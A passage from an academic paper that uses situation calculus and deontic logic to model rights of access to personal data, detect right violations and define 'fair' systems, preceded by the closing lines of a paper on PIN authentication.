for people having color vision disabilities. Secondly, SPOSS can be extended for
arbitrary length PINs also. For n-digit PIN, there are (n – 1)! possible Color-
Codes. We can randomly pick any six ColorCodes and use them in Challenge
Interface. A thorough usability study for longer PINs can be done in future.
Thirdly, since SPOSS is resilient against recording attack for single session only,
in future we would like to think of some improvements in SPOSS or any other
new authentication mechanism that could resist multiple recording attacks. And
lastly, the Honeyword based model to store the credentials can be addressed to
reduce storage cost.
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Abstract. The law of computer and freedoms specifies that the access
to personal data is a right that must be ensured. Indeed, this law pro-
vides sanctions when this right is violated. It is important to preserve
this access right because it allows people to verify the accuracy of their
personal data and thus, emit a rectification request or ask for the dele-
tion of this data if it is necessary. In this paper, we propose a formal
model which enables to extend security policies with right rules in order
to express access right. In our approach, we make a distinction between
access permission and access right and propose a semantics of a guar-
anteed right and means to detect violations. The model is based on the
situation calculus. It allows, through planning tools, to provide an off-
line policy analysis in order to detect in advance the situations which
prevent a right to be exercised. In addition to the concept of secure sys-
tem which is defined as a system that meets the requirements of access
control, we propose to introduce the concept of a fair system that meets
the requirements of the access right. We formalize this notion and give
a characteristic which enables to prove if a system specification is fair
with respect to right requirements.

1 Introduction

Personal data means any information relating to a natural person who is or
can be identified, directly or indirectly, by reference to an identification number
or to one or more factors specific to him. They are protected by various legal
instruments concerning the right to privacy. For example: the Act n◦78 − 17
of 6 January 1978 on Data Processing, Data Files and Individual Liberties,
amended by the Act of 6 August 2004 relating to the protection of individuals
with regard to the processing of personal data1, the Directive 95/46/EC at
European level2, and the Convention n◦108 for the Protection of Individuals with
regard to Automatic Processing of Personal Data3. Under these laws, several
factors are taken into account regarding the processing of these data as for
example the shelf life, the purpose of the processing concerned, the consent of
the concerned person of this treatment and the obligation of information. Many
countries now have authorities in charge of enforcing these laws. They often are

1 http://www.cnil.fr/documentation/textes-fondateurs/loi78-17/#Article1.
2 http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=URISERV%3Al14012.
3 http://www.coe.int/en/web/conventions/full-list/-/conventions/treaty/108.
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independent administrative authorities and have the power of, advice, control
and administrative sanctions. Let us take as example the independent French
administrative authority CNIL (Commission National de l’informatique et des
libertés). This authority is responsible for ensuring that information technology
is at the service of citizens and it does not affect human identity, nor the rights
or privacy, or individual and public freedoms.

The CNIL informs peoples about their obligations and rights. For example,
it specifies that people have a right to ask directly the responsible of a file if
she holds information about them (website, shop, bank ...), and request that
she communicates to them the completeness of this data. The exercise of the
right of access enables to control data accuracy and, if necessary, people may
then send a written request to correct any error or to remove any non-essential
data. Therefore, the laws provide penalties when the right of access to personal
data is not respected. In the annual report issued by the CNIL in 2012, it spec-
ifies that there was 3682 right of access request and 6017 complaints in 2012.
The CNIL applied on the 24th May 2012 the pecuniary sanction of 10000 euros
to “Établissement Équipements Nord Picardie” because this institution did not
respect the right of access. In the 29th January 2014, the CNIL applied the pecu-
niary sanction of 10000 euros to the association “ASSOCIATION JURICOM ET
ASSOCIES” as it did not respect the people’s right to opposition that their pro-
fessional data are posted on the association’s website. Thus, in order to have a
preventive approach, the CNIL quotes in a Guidebook4 the measures to address
the risk on freedoms and privacy. In particular, it recommends to identify the
practical ways which can be implemented to enable the exercise of access rights
and ensure that access right may be always exercised. In order to do that, it
encourages to examine cases where the chosen practical means are no longer
operational and determine the appropriate solutions. The work we propose in
this paper falls within this framework. Obviously, it is clear that concerning per-
sonal data, we are not speaking about an access permission but an access right.
Therefore, we propose to enhance the security policies with right rules, detect
the violations of these rules, and provide means to analyze these policies in order
to identify in advance the situations where these rights could be prevented from
to be exercised.

Extending security policies with rights allows to express the interest of users
which must be protected to avoid violations. In this work, we propose a formal
model to express contextual rights. A contextual right means that a right to do
an action is associated with a context which corresponds to the set of conditions
that must hold in order to make the right active. Whenever a right is active,
the execution of the corresponding action should be possible (i.e., access must
be available), making the right ensured, otherwise there is a violation of right.
Notice that in our model, obligations and rights have one thing in common
insofar as both can lead to situations of violation and sanction [1–3]. But the
semantic we give to the violation of a right is different from that of obligation

4 http://www.cnil.fr/fileadmin/documents/Guides pratiques/CNIL-Guide securite
avance Mesures.pdf.

http://www.cnil.fr/fileadmin/documents/Guides_pratiques/CNIL{-}Guide_securite_avance_Mesures.pdf
http://www.cnil.fr/fileadmin/documents/Guides_pratiques/CNIL{-}Guide_securite_avance_Mesures.pdf
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with deadline. The violation of right is not associated with the fact that the
user does not perform the action before a deadline, but with the fact that there
are circumstances in a system or some users’ behaviors which made the action
impossible to be executed. Nevertheless making an action possible does not mean
that the action must be executed, while when an action must be executed (i.e.,
obligated), it must necessarily be possible. Otherwise, there is a conflict in the
feasibility of the obligation rule [4]. Thus, unlike obligations, it remains to the
user to choose to exercise its right or not.

Among the things that can prevent a right to be exercised, we identify what
we call a conflict between right and obligation. We say that there is a conflict
between an obligation rule and a right rule if fulfilling the obligation leads nec-
essary to the violation of the right. Consider the following right access rule:
Each employee has the right to look into her professional document, and the fol-
lowing obligation rule: In the case of compromised accounts, the server hosting
professional documents must be stopped. In the case of compromised accounts,
satisfying the obligation rule leads necessarily to the violation of right to access
professional documents. In this paper, we extend the model based on deontic
logic of actions and situation calculus proposed in [4] to specify right rules.

Our contributions

– The extended model allows to express formally rights and allows the detection
of right violation.

– We formally define a fair system. Intuitively, we mean by a fair system, a
system that guarantees all the rights specified by the policy. Then, we formally
specify the condition to prove that the system specification is fair with respect
to the right requirements.

– In a previous work [4], the planning [5] as defined in the situation calculus
was sufficient to detect conflict between obligations with deadline. Given a
goal formula, planning consists in finding a sequence of actions so that the
goal is satisfied after executing this sequence of actions. In order to detect a
conflict between obligations and rights, we define what we call preserved plan.
Given a goal formula, a preserved plan is a sequence of actions that causes no
violations of any right and leads to satisfy the goal. Indeed, a situation will
be conflicting if there is no preserved plan that lead to a situation where all
obligations can be fulfilled within their deadlines.

– We propose an algorithm for detection of conflict between obligations with
deadline and rights.

– We make an implementation of our approach and show how we can generate
in advance all conflicting situations

This paper is organized as follows. In Sect. 2, we present an overview of the
situation calculus. Section 3 explains how to define security policies that include
rights. Section 4 extends situation calculus to formally derive where a right is
effective. In Sect. 5, we formally define right violation. Section 6 shows how we
can use our model to build a fair system with respect to right requirements. In
this section, we also show how to detect the presence of conflict between rights
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and obligations. In Sect. 7, we implement our model using the programming
language GOLOG [6]. In this section, we make assessment on different situations
that we build to simulate our model. Our right model is then compared to some
of existing work modeling rights in Sect. 8. Finally Sect. 9 concludes this paper.

2 Situation Calculus

The situation calculus [7] is a second-order logic language specially designed to
represent the change in dynamic worlds. The ontology and axiomatization of
the sequential situation calculus was extended to include time [8], concurrency,
and natural actions [9]. However, in all cases, the basic elements of language are
actions, situations, and fluents.

– All changes in the world are the results of actions execution. They are des-
ignated by terms of first-order logic. To represent the time in the situation
calculus, a time argument is added to all instantaneous actions which is used
to specify the exact time or time range in which the actions occur in world
history.

– A possible history of the world, which is a sequence of actions is represented by
the first-order terms denoted situation. The constant S0 is the initial situation.

– There is a binary function symbol Do; Do(α, σ) denotes the situation resulting
from the execution of the action α in the situation σ.

– Fluents describing the facts of a state. They are symbols of predicates which
take a term of type situation as the last argument, which their truth values
may vary from one situation to another.

– There are also symbols of predicates and functions (including constants)
denoting relations and functions independent of situations.

– A particular binary predicate symbol <, defines a strict order relation on
situations; σ < σ′ means that we can reach σ′ by a sequence of actions starting
from σ.

– A second particular binary predicate symbol Poss, defines when an action is
possible. Poss(a, σ) means that the action a can be executed in the situation σ.

The basic axioms for the situation calculus, as defined in [10,11] are as follows:

– The second-order induction axiom:

(∀P ).[P (S0) ∧ (∀a, σ)(P (σ) → P (Do(a, σ)))] → (∀σ)P (σ) (1)

The induction axiom says that to prove that property P is true in all situations,
it is sufficient to prove that P is true in the initial situation S0 (initialization
step) and for all actions a and situations σ, if P is true in the situation σ,
then P is still true in the situation do(a, σ) (induction step). The axiom is
necessary to prove properties true in all situations [12].

– The unique name axioms for states:

S0 �= do(a, σ),
do(a, σ) = do(a′, σ′) → a = a′ ∧ σ = σ′
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– The unique name axioms for actions:
For distinct action names a and a′,

a(x) �= a′(y).

Identical actions have identical arguments:

a(x1, ..., xn) = a(x1, ..., xn) → x1 = y1 ∧ ... ∧ xn = yn

– Axioms that define an order relation < on situations:

¬s < S0,

σ < do(a, σ′) ↔ (Poss(a, σ′) ∧ σ ≤ σ′).

In addition to the axioms described above, we need to describe a class of axioms
when we formalize an application domain:

– Action precondition axioms, one for each action:

Poss(A(x ), σ) ↔ φ(x , σ),

where φ(x , σ) characterizes the preconditions of the action A, it is any first-
order formula with free variables among x , and whose only term of sort of
situation is σ. Using predicate Poss(a), we can then recursively specify that a
given situation σ is executable.

Executable(σ) ↔ [(∀a, σ′).do(a, σ′) ≤ σ → Poss(a, σ′)]

– Successor state axioms, one for each fluent. These axioms characterize the
effects of actions on fluents and they embody a solution to the frame problem5

for deterministic actions [11]. The syntactic form of successor state axiom for
a fluent F is

[F (x ,do(a, σ)) ↔ γ+
F (x , a, σ) ∨ (F (x , σ) ∧ ¬γ−

F (x , a, σ))],

where γ+
F (x , a, σ) and γ−

F (x , a, σ) indicate the conditions under which if the
action a is executed in situation σ, F (x ,do(a, σ)) becomes true and false,
respectively. It is assumed that no action can turn F to be both true and false
in a situation, i.e., ¬∃σ∃aγ+

F (x , a, σ) ∧ γ−
F (x , a, σ).

– Axioms describing the initial situation.

In the following, we denote Axioms = Σ ∪ Auns ∪ Auna ∪ Ass ∪ Aap ∪ AS0 , where

– Σ is axiomatic for < and ≤ (see [11]).
– Auns is the set of unique names axioms for states.
– Auna is the set of unique names axioms for actions.
– Ass is a set of successor state axioms.
5 The difficulty in logic of expressing the dynamics of a situation without explicitly

specifying everything that is not affected by the actions.
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– Aap is a set of action precondition axioms.
– AS0 is a set of initial situation axioms. AS0 is a set of sentences with the

property that S0 is the only term of sort situation mentioned by the fluents
of a sentence of AS0 . Thus, no fluent of a formula of AS0 mentions a variable
of sort situation or the function symbol do.

We denote Axioms � p the fact that the sentence p can be derived from the set of
axioms Axioms. This kind of domain theories provides us with various reasoning
capabilities, for instance planning [13]. Given a domain theory Axioms as above
and a goal formula G(σ) with a single free-variable σ, the planing task is to find
a sequence of actions −→a such that

Axioms � S0 ≤ do(−→a , S0) ∧ Executable(do(−→a , S0)) ∧ G(do(−→a , S0)),

where do(−→a , σ) is an abbreviation for do(an,do(an−1, . . . ,do(a1, σ) . . .)).

3 Policy Specification

The language we define to specify permissions, obligations with deadline and
rights in security policies is based on deontic logic of actions. We consider three
modalities: permissions, obligations with deadline and rights. They are called
normative modalities in the following. Normative modalities are represented as
dyadic conditional modalities. Permissions are specified using dyadic modality
P (α|p) where α is an action of A and p is the condition of the permission. The
condition is any formula built using fluents of F without situation. P (α|p) means
that the action α is permitted when condition p holds. Modality R(α|p) means
there is a right to do α when condition p holds. Obligations with deadline are
specified using modality O(α < d|p) which intuitively means that when formula
p starts to hold, there is an obligation to execute action α before the deadline
condition d starts to hold. The deadline condition is an atomic fluent predicate
of F . We call norm a formula corresponding to a conditional permission, a
conditional right or obligation with deadline. A security policy, P is a finite set
of norms.

We shall now use the situation calculus to formally define the semantics of
these different modalities.

4 Actual Norm Derivation

The objective of this section is to specify which actual permissions, rights and
obligations with deadline hold in a given situation. It is assumed that the security
policy P is fixed in the initial situation S0. This means that we do not consider
actions that would change (create, delete, update) the norms that define the
security policy P.
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4.1 The Semantic of Actual Permission and Right

The situation calculus is extended with fluents Perm(α, σ) (there is an actual
permission to do α) and Right(α, σ) (there is an actual right to do α) where
α is an action of A. We first extend the set of Axioms previously defined with
a permission definition axiom for every fluent predicate Perm(α, σ), α ∈ A.
For this purpose, let Pα be the set of conditional permissions having the form
P (α|p). We denote ψPα

= p1 ∨ ...∨ pn where each pi for i ∈ [1, ..., n] corresponds
to the condition of a permission in Pα. Using ψPα

, we can define formally an
actual permission by the following succession state axiom:

Perm(α,Do(a, σ)) ↔ γ+
ψPα

(a, σ) ∨ (Perm(α, σ) ∧ ¬γ−
ψPα

(a, σ)) (2)

This axiom specifies that the permission to do an action becomes effective after
the action that activates the context of the permission rule is executed.

Example 1. Consider the following textual permission rule:

– R1: “Each identified employee on the server containing her professional docu-
ment has the permission to look into this document”.

This rule can be written as follows:

P (LookInto(u, d)|Employee(u) ∧ Identified(u, s) ∧ ProfessionalDoc(d, u, s)

Here,

– Identified(u, s, σ) is a fluent meaning an employee u is identified on server s
in the situation σ.

– Employee(u, σ) is a fluent meaning u is an employee in the situation σ.
– ProfessionalDoc(d, u, s, σ) is a fluent meaning that d is the professional doc-

ument of an employee u contained in the server s.
– LookInto(u, d) is an action meaning an employee u is looking into her profes-

sional document d.

For simplicity, we consider that Employee(u, σ) and ProfessionalDoc(d, u, s, σ)
are static. This means that:

(∀a)Employee(u,Do(a, σ)) ↔ Employee(u, S0)
(∀a)ProfessionalDoc(d, u, s,Do(a, σ)) ↔ ProfessionalDoc(d, u, s, S0)

Thus to get where the rule R1 is effective, we need just to express the succession
state axiom of the fluent Identified(u, s, σ).

[Identified(u, s,Do(a, σ)) ↔
((∃l, p)RecordedCredential(u, l, p, s, σ) ∧ a = Logon(u, l, p, s)) ∨
(Identified(u, s, σ) ∧ ¬(a = Logout(u, s)))]

The axiom above specifies that an employee u is identified on a server s if she logs
on this server using the same credentials recorded by the system. The employee
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remains identified unless she logs out. Note that Logon(u, l, p, s) is an action
meaning an employee u logs on a server s using a login l and a password p and
Logout(u, s) is an action meaning an employee u logs out a server s. Concerning
RecordedCredential(u, l, p, s, σ) is a fluent meaning a user u is recorded on the
system and her corresponding login and password to access to a server s are
respectively l and p. The corresponding succession state axiom will be given
later. Using the axiom 2, we can easily show that:

Poss(a, σ) →
[Perm(LookInto(u, d),Do(a, σ)) ↔
Employee(u, σ) ∧ ProfessionalDoc(d, u, s, σ) ∧ (3)
[((∃l, p)RecordedCredential(u, l, p, s, σ) ∧ a = Logon(u, l, p, s)) ∨
(Perm(LookInto(u, d), σ) ∧ ¬(a = Logout(u, s)))]]

Actual right is similarly defined using Rα which corresponds to the set of con-
ditional rights of P having the form R(α|p).

Right(α,Do(a, σ)) ↔ γ+
ψRα

(a, σ) ∨ (Right(α, σ) ∧ ¬γ−
ψRα

(a, σ)) (4)

This axiom specifies that a right becomes effective immediately after the exe-
cution of action that activates the condition associated with it. Then this right
will stay effective in all following situations unless an action which disables the
condition associated with it is executed.

Example 2. Let us consider the following textual right rule:

– R2: “Each employee has the right to look into his professional document”.

In our language, this rule can be written as follows:

R(LookInto(u, d)|Employee(u) ∧ (∃s)ProfessionalDoc(d, u, s)

The situations σ where this rule is effective are characterized by the following
formula:

(∀σ)Right(LookInto(u, d), σ) ↔ (5)
Employee(u, S0) ∧ (∃s)ProfessionalDoc(d, u, s, S0)

This right is never deactivated because, for simplicity, we are considering that
Employee(u, σ) and ProfessionalDoc(d, u, s, σ) are static. However, if we con-
sider that an employee can be firing off, then we must specify in the succession
state axiom of Employee(u, σ) that the execution of the action FiringOff(u)
turns Employee(u, σ) to false. Therefore using the axiom 4, we can deduce that
the execution of the action FiringOff(u) turns the right of an employee to look
into her professional document to false.
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4.2 The Semantic of Active Obligation

We extend the situation calculus with fluents Ob(α < d) (the obligation to do
α before deadline d starts to be effective) where α is an action of A and d is a
fluent of F . As permissions, we need the obligation definition axiom for every
fluent predicate Ob(α < d), where α ∈ A and d ∈ F . Notice that since the
sets A and F are finite, we have a finite set of successor state axioms to define
for Ob(α < d). We define Oα,d to be the set of conditional obligations with
deadline in P having the form O(α′ < d′|p) such that α = α′ and d and d′

are logically equivalent. We say that two fluent predicates d and d′ are logically
equivalent with respect to a set of Axioms if we can prove that d ↔ d′ is an
integrity constraint of Axioms. We denote ψOα,d

= p1 ∨ ...∨ pn where each pi for
i ∈ [1, ..., n] corresponds to the condition of an obligation in Oα,d. If Oα,d = ∅,
then we assume that ψOα,d

= false. Using ψPα
, we can define formally an active

obligation

(∀α, d, a, σ)Ob(α < d,Do(a, σ)) ↔ (6)
[γ+

ψOα,d
(a, σ) ∧ ¬γ+

d (a, σ) ∨
(Ob(α < d, σ) ∧ ¬(a = α) ∧ ¬γ+

d (a, σ) ∧ ¬γ−
ψOα,d

(a, σ))]

The axiom above says that the obligation to do α before deadline d is activated
when ψOα,d

starts to be true. This obligation is deactivated when it is fulfilled
(i.e. action α is done) or it is violated (i.e. deadline d starts to be true) or con-
dition ψOα,d

ends to be true (i.e. it is no longer relevant to do α). Concerning
instantaneous obligations we consider them as a special case of obligations with
deadline, written as follows: O(α|p). As there is no deadline associated with
these obligations, we assume that: γ+

d (a, σ) = γ−
d (a, σ) = false. Thus we can

derive the succession state axiom characterizing the situations when instanta-
neous obligations are active using axiom 6.

Poss(a, σ) → (Ob(α, do(a, σ)) ↔ γ+
ψOα

(a, σ)) (7)

This axiom says that the system obligation to do α is activated only in the
situations when ψOα

starts to be true and they are deactivated immediately after.
Thus a system obligation should be fulfilled immediately after its activation.

Example 3. In this example, we show how to express an obligation with deadline
and an instantaneous obligation. We also show where these obligations are active.

Let us consider the following textual instantaneous obligation rule:

– R3: “Recorded user account must be removed in the case of compromised
accounts”.

This rule can be written as follows:

(∀u, l, p)O(RemoveCredential(u, l, p)|(∃s)RecordedCredential(u, l, p, s) ∧
CompromisedAccount(u, l, p))

Where,



98 N. Essaouini et al.

– RemoveCredential(u, l, p) is an action meaning removing the login l and the
password p of the employee u.

– RecordedCredential(u, l, p, s, σ) is a fluent meaning an employee u is recorded
on the system and her corresponding login and password to access to a server
s are respectively l and p. The corresponding succession state axiom is as
follows:

[RecordedCredential(u, l, p, s,Do(a, σ)) ↔ (8)
(Employee(u, σ) ∧ a = AddCredential(u, l, p, s, σ))
∨(RecordedCredential(u, l, p, s, σ) ∧ ¬(a = RemoveCredential(u, l, p)))]

This axiom specifies that the credentials of an employee u to log on
a server s is recorded on the system where the action AddCredential
(u, l, p, s) is executed. These credentials remain recorded unless the
action RemoveCredential(u, l, p) is executed, in which case the fluent
RecordedCredential(u, l, p, s, σ) turns to false.

– CompromisedAccount(u, l, p, σ) is a fluent meaning an attack leading to com-
promise of the account of the employee u is detected on the system. The
corresponding succession state axiom can be specified as follows:

[CompromisedAccount(u, l, p,Do(a, σ)) ↔ (9)
a = DetectCompromise(u, l, p) ∨ CompromisedAccount(u, l, p, σ)]

In this axiom, we admit that the account of an employee u is considered
compromised when the action DetectCompromise(u, l, p) is executed. This
axiom specifies also that when an account is compromised, it remains in this
state forever.

In order to show when the rule R3 is activated, we apply the axiom 7 as follows:

[Ob(RemoveCredential(u, l, p),Do(a, σ)) ↔
(CompromisedAccount(u, l, p, σ) ∧ (∃s)a = AddCredential(u, l, p, s)) ∨(10)
(RecordedCredential(u, l, p, s, σ) ∧ a = DetectCompromise(u, l, p))]

Let us turn now to an example of obligation with deadline. Consider the following
textual rule:

– R4: “The causes that led to the compromise of accounts must be identified
before updating the credentials”.

This rule can be written as follows:

O(IdentifyCompromiseCauses(u, l, p) <

(∃s, l′, p′)RecordedCredential(u, l′, p′, s)|CompromisedAccount(u, l, p)
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If we apply the axiom 6, then we can see that the situations where this rule
is activated are characterized by the following axiom:

Ob(IdentifyCompromiseCauses(u, l, p) <

(∃l′, p′, s)RecordedCredential(u, l′, p′, s), Do(a, σ)) ↔
a = DetectCompromise(u, l, p) ∨ [Ob(IdentifyCompromiseCauses(u, l, p) < (11)
(∃l′, p′, s)RecordedCredential(u, l′, p′, s) ∧
¬(a = IdentifyCompromiseCauses(u, l, p)) ∧ ¬(a = AddCredential(u, l′, p′, s))]

The axiom above specifies that the obligation to identify the causes of
account compromise becomes active when the compromise is detected, i.e. the
action DetectCompromise(u, l, p) is executed. This obligation remains active
unless the action IdentifyCompromiseCauses(u, l, p) is executed or the cre-
dentials corresponding to the compromised account are changed, i.e. the action
AddCredential(u, l′, p′, s) is executed.

5 Violation Detection

5.1 Obligation Fulfillment and Violation Detection

An obligation with deadline to do an action is considered satisfied, when the
action is executed while the obligation is still active, and before that the deadline
of the obligation becomes true. We characterize situations where the obligations
are fulfilled by using the fluent Fulfil(α < d, σ) meaning the obligation to do
the action α before the deadline d is satisfied in the situation σ. Formally, the
fulfilled obligations are characterized by the following axiom:

(∀α, d, a, σ)Fulfil(α < d,Do(a, σ)) ↔ (12)
[(Ob(α < d, σ) ∧ a = α ∧ ¬γ+

d (α, σ)) ∨ Fulfil(α < d, σ)]

Example 4. In this example, we show where the obligation of rule R3 (resp. R4)
is fulfilled by applying the axiom 12.

[Fulfil(RemoveCredential(u, l, p),Do(a, σ)) ↔
(Ob(RemoveCredential(u, l, p), σ) ∧ a = RemoveCredential(u, l, p)) ∨
Fulfil(RemoveCredential(u, l, p), σ)]

The axiom above specifies that the obligation of rule R3 is fulfilled
when the action RemoveCredential(u, l, p) is executed while the obligation
is still active (i.e., Ob(RemoveCredential(u, l, p), σ)). Similarly, the oblig-
ation of the rule R4 will be fulfilled after the execution of the action
IdentifyCompromiseCauses(u, l, p) in a situation where the obligation is still
active.
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Fulfil(IdentifyCompromiseCauses(u, l, p) <

(∃l′, p′, s)RecordedCredential(u, l′, p′, s),Do(a, σ)) ↔
[Ob(IdentifyCompromiseCauses(u, l, p) < (13)
(∃l′, p′, s)RecordedCredential(u, l′, p′, s), σ) ∧
a = IdentifyCompromiseCauses(u, l, p) ∨
Fulfil(IdentifyCompromiseCauses(u, l, p) <

(∃l′, p′, s)RecordedCredential(u, l′, p′, s), σ)

An obligation to do α is violated, when the associated deadline comes true when
it was still active, and it was never executed. We define a violated obligation using
fluent V iolatedO(α < d, σ), meaning the obligation to do the action α before
the deadline d is violated in situation σ. Formally, the violated obligations are
defined using the following succession state axiom:

(∀α, d, a, σ)V iolatedO(α < d,Do(a, σ)) ↔ (14)
[(Ob(α < d, σ) ∧ γ+

d (a, σ)) ∨ V iolatedO(α < d, σ)]

5.2 Ensured Rights and Violation Detection

In our formalism, no action can prevent the enforcement of a granted right.
Otherwise there is a violation of right. The language is then extended by fluent
Ensured(α, σ) meaning the right to do α is ensured in the situation σ. In other
words, in all situations if the right to do an action is active the action must be
possible.

Definition 1. Ensured right
An ensured right Ensured(α, σ) is formally defined as follows:

(∀α, σ)Ensured(α, σ)
def↔ Right(α, σ) ∧ Poss(α, σ)

Proposition 1. If the precondition axiom of α is written as: Poss(α, s) ↔
φα(σ), then the ensured right definition axiom is equivalent to the following suc-
cession state axiom:

(∀α, a, σ)Ensured(α,Do(a, σ)) ↔ (15)
(Right(α, σ) ∧ γ+

φα
(a, σ) ∧ ¬γ−

ψRα
(a, σ)) ∨

(φ(σ) ∧ γ+
ψRα

(a, σ) ∧ ¬γ−
φα

(a, σ)) ∨
(Ensured(α, σ) ∧ ¬γ−

ψRα
(a, σ) ∧ ¬γ−

φα
(a, σ))

The violation of a right occurs in situations where the right is not ensured. The
violation of a right is captured by the fluent V iolatedR(α, σ), meaning the right
to do the action α is violated in the situation σ.



Building a Fair System Using Access Rights 101

Definition 2. Right violation
The violated right V iolatedR(α, σ) is formally defined as follows:

(∀α, σ)V iolatedR(α, σ)
def↔ Right(α, σ) ∧ ¬Ensured(α, σ)

Example 5. Let us see where the right of the rule R2 is ensured using the Propo-
sition 1. We admit that an employee can look into her professional document
if and only if it is possible for her to log on the server containing her pro-
fessional document. Thus, assuming that the precondition axiom of the action
Logon(u, l, p, s) is:

Poss(Logon(u, l, p, s, σ) ↔ (16)
Knows(u, l, p, s, σ) ∧ RecordedCredential(u, l, p, s, σ)

We can deduce that the precondition axiom of the action LookInto(u, d) is as
follows:

Poss(LookInto(u, d, σ) ↔ (∃s)Knows(u, l, p, s, σ) ∧
RecordedCredential(u, l, p, s, σ) ∧ ProfessionalDoc(u, d, s, σ)

where,

– Knows(u, l, p, s, σ) is a fluent meaning the employee u knows her recorded
login l and password p which allow her to access to the server s in the situation
σ. The corresponding succession state axiom is as follows:

Poss(a, σ) →
[Knows(u, l, p, s,Do(a, σ)) ↔
(RecordedCredential(u, l, p, s, σ) ∧ a = Send(u, l, p, s)) ∨ (17)
(Knows(u, l, p, s, σ) ∧ ¬(a = RemoveCredential(u, l, p)))]

Now using the Proposition 1, we can give the following succession state axiom:

Ensured(LookInto(u, d),Do(a, σ)) ↔
[Right(LookInto(u, d), σ) ∧ (∃s, l, p)(ProfessionalDoc(u, d, s, σ) ∧
RecordedCredential(u, l, p, σ) ∧ a = Send(u, l, p, s))] ∨
[Ensured(LookInto(u, d), σ) ∧ (∃l, p, s)RecordedCredential(u, l, p, s) ∧
¬(a = RemoveCredential(u, l, p))]

The axiom above specifies the following:

– If there is a professional document d concerning some employee u hosted on a
server s, and if this employee has a login l and a password p recorded on the
system allowing her to access to the server s, then the right of the employee
u to look into her professional document d will be ensured immediately after
she becomes aware of her recorded credentials, i.e. the action Send(u, l, p, s)
is executed.
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– The right of an employee u to look into her professional document d
remains ensured unless her recorded credentials which allow her to access
on the server hosting her professional document are removed i.e. the action
RemoveCredential(u, l, p) is executed.

6 Using Our Model

6.1 Building a Fair System with Respect to Right Requirements

To build a fair system with respect to right rules, we first introduce the notion
of preserved situation.

Definition 3. Preserved situation
A preserved situation is a situation where there is no violation of any right.

Preserved(σ)
def↔ ¬(∃α)V iolatedR(α, σ)

Definition 4. Fair system
The system specification represented by a given set of Axioms is fair with respect
to right requirements if and only if every executable situation is preserved.

Axioms � (∀σ).[Executable(σ) → Preserved(σ)]

Theorem 1. If the initial situation S0 is a preserved situation and the precon-
dition axioms of all actions in A are in the form:

(∀a, σ)Poss(a, σ) ↔
φa(σ) ∧ ¬(∃α)[Right(α, σ) ∧ γ−

φα
(a, σ)]

then, the specification represented by a given set of Axioms is fair with respect
to right requirements.

Proof. There is no violation of any right in the initial situation as it is preserved
by hypothetis. Let σ be a preserved situation, a any action in A and suppose that
Do(a, σ) is an executable situation. We have ¬(∃α)[Right(α, σ)∧γ−

φα
(a, σ)] then,

the execution of the action a does not cause the violation of any active rights.
In Do(a, σ), there is no violation of any old rights as σ is a preserved situation.
Thus by applying axiom 1, we prove that (∀σ).[Executable(σ) → Preserved(σ)].

Some rights may be in conflict, making impossible to build a fair system.
The detection of this type of conflict is presented later in this paper.

6.2 Conflict Detection Between Rights and Obligations with
Deadline

A conflict between obligation and right occurs when it is not possible to do an
obligation within its deadline without violating any right. Thus, we define the
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fluent LP -Enforceable(α < d, σ) meaning that the obligation to do α is locally
enforceable before that the deadline d holds while preserving rights.

LP -Enforceable(α < d, σ) ↔
(∃σ′).σ′ > σ ∧ Preserved(σ′) ∧ Fulfil(α < d, σ′)

Between σ, where the obligation is active, and σ′, where the obligation is fulfilled,
there is no violation of right. This is done through the recursive construction of
preserved situations. When an obligation is not locally enforceable while ensur-
ing rights in a given situation, we say that there is a locally conflict between
obligations and rights in the policy. It is possible that each active obligation in a
given situation is enforceable while preserving rights. However fulfilling all these
obligations together necessarily leads to a violation of a right. To characterize
this, we define the fluent GP -Enforceable(σ), meaning a situation σ is globally
enforceable while preserving rights.

GP -Enforceable(σ) ↔ ∃σ′, σ′ > σ ∧ (∀α, d)
Ob(α < d, σ) → Fulfil(α < d, σ′) ∧ Preserved(σ′)

In the formula above, all active obligations in σ are fulfilled in σ′. The fact that σ′

is a preserved situation ensures that there is no violation of right between σ and
σ′. The problem of searching the situation σ′ is a planning problem. However the
planning as it is defined in the situation calculus can not meet our problematic.
Therefore, we introduce the following notion of preserved plan.

Definition 5. Preserved plan
A preserved plan is a sequence of actions that causes no violation of any cur-

rent right. Formally, let σ be a variable-free situation term, and G(s) a formula
whose only free variable is the situation variable s. Then σ is a preserved plan
for G if and only and if

Axioms � Preserved(σ) ∧ G(σ)

Definition 6. Global conflict between obligations and rights
If a situation is not globally enforceable while preserving rights, we shall say

that there is a global conflict in the policy between obligations and rights in this
situation.

The Algorithm 1 detects a conflict between obligations and rights using recur-
sive search as defined in Algorithm 2. In this algorithm, we suppose that the
situation we check is preserved. Furthermore, if the set of actions and the set of
values are finite, we can estimate the maximum length of the plan, N , allowing
to achieve the goal. In our algorithm, we explore the tree of all possible worlds
that can be very large. Indeed, if we suppose that on average, there are k actions
which are possible to execute from a given situation, then the number of worlds
to explore is the order of kN .
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Algorithm 1. ConflictDetection(σ, N)
Require: σ: the situation to check; N: the maximal depth
Ensure: No: if there is no conflict in the policy at situation σ otherwise Yes.

O = {α ∈ A such that Ob(α < d, σ)} {set of active obligations in σ}
σ′ ← recursiveSearch(σ, N, O)
if ¬(σ′ = NULL) then

return No {there is no conflict between obligations and rights in the policy at
σ and σ′ is the plan which leads to fulfill all the active obligations in σ without
violating any right}

else
return Yes {there is a conflict between obligations and rights in the policy in
situation σ}

end if

Algorithm 2. recursiveSearch(σ, N, O)
Require: σ: the current situation

N: the current depth (initially the given maximum depth)
O: set of active obligations in σ

Ensure: Null: if the depth of the current path exceeds the given maximum depth or,
situation when all obligations in O are fulfilled if it exists otherwise,
the next situation to give to the next call for recursion
E ← {a ∈ A, ¬(∃α)Right(α, σ) ∧ γ−

φα
(a, σ)} {the set of actions that can lead from σ

to an eventual preserved situation}
while true do

if N < 0 then
return NULL

end if
for all a ∈ E do

σ′ ← Do(a, σ)
N ← N − 1
if (∀α, d ∈ O)Fulfil(α < d, σ′) then

return σ′

end if
σ′′ ← recursiveSearch(σ′, N,O)
if ¬(σ′′ = NULL) ∧ (∀α, d ∈ O)Fulfil(α < d, σ′′)) then

return σ′′

end if
N ← N + 1

end for
return NULL

end while
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7 Implementation

We implemented our model using the logic programming language Golog [6,8],
based on the situation calculus. To evaluate our approach, we make experiments
on a machine equipped with an Intel 32 bit, 2.60 GHz, x4 processor, and 3.8
GB RAM, running ECLIPSE 3.5.2 on ubuntu Linux(v.13.04). We made a test
on a policy containing one right rule, six rules of obligations with deadlines and
six constraints to specify that some of actions can not be executed in parallel.
